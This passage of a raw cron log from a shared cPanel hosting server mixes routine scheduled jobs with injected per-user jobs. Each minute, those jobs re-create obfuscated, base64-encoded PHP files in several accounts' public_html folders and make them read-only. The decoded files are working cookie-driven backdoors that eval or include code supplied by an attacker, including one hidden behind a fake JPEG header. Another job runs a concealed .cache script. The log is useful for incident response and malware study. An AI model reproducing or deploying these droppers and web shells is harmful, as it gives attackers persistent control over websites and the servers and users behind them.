SpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:33:01 medusa CROND[2947]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:33:01 medusa CROND[2948]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:33:01 medusa CROND[2949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:33:01 medusa CROND[2950]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:33:01 medusa CROND[2951]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:33:01 medusa CROND[2952]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:33:01 medusa CROND[2958]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:33:01 medusa CROND[2956]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:34:01 medusa CROND[26996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:34:01 medusa CROND[26998]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:34:01 medusa CROND[27003]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:34:01 medusa CROND[27004]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:34:01 medusa CROND[27005]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:34:01 medusa CROND[27006]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:34:01 medusa CROND[27007]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:34:01 medusa CROND[27008]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:34:01 medusa CROND[27009]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:34:01 medusa CROND[27011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:34:01 medusa CROND[27012]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:34:01 medusa CROND[27014]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:34:01 medusa CROND[27013]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:35:01 medusa CROND[18833]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:35:01 medusa CROND[18843]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:35:01 medusa CROND[18856]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 07:35:01 medusa CROND[18908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:35:01 medusa CROND[18974]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:35:01 medusa CROND[18975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:35:01 medusa CROND[18976]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:35:01 medusa CROND[18977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:35:01 medusa CROND[18981]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:35:01 medusa CROND[18979]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:35:01 medusa CROND[18985]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:35:01 medusa CROND[18990]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:35:01 medusa CROND[18994]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:35:01 medusa CROND[18996]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:35:01 medusa CROND[18998]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:35:01 medusa CROND[18997]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 07:35:01 medusa CROND[18999]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 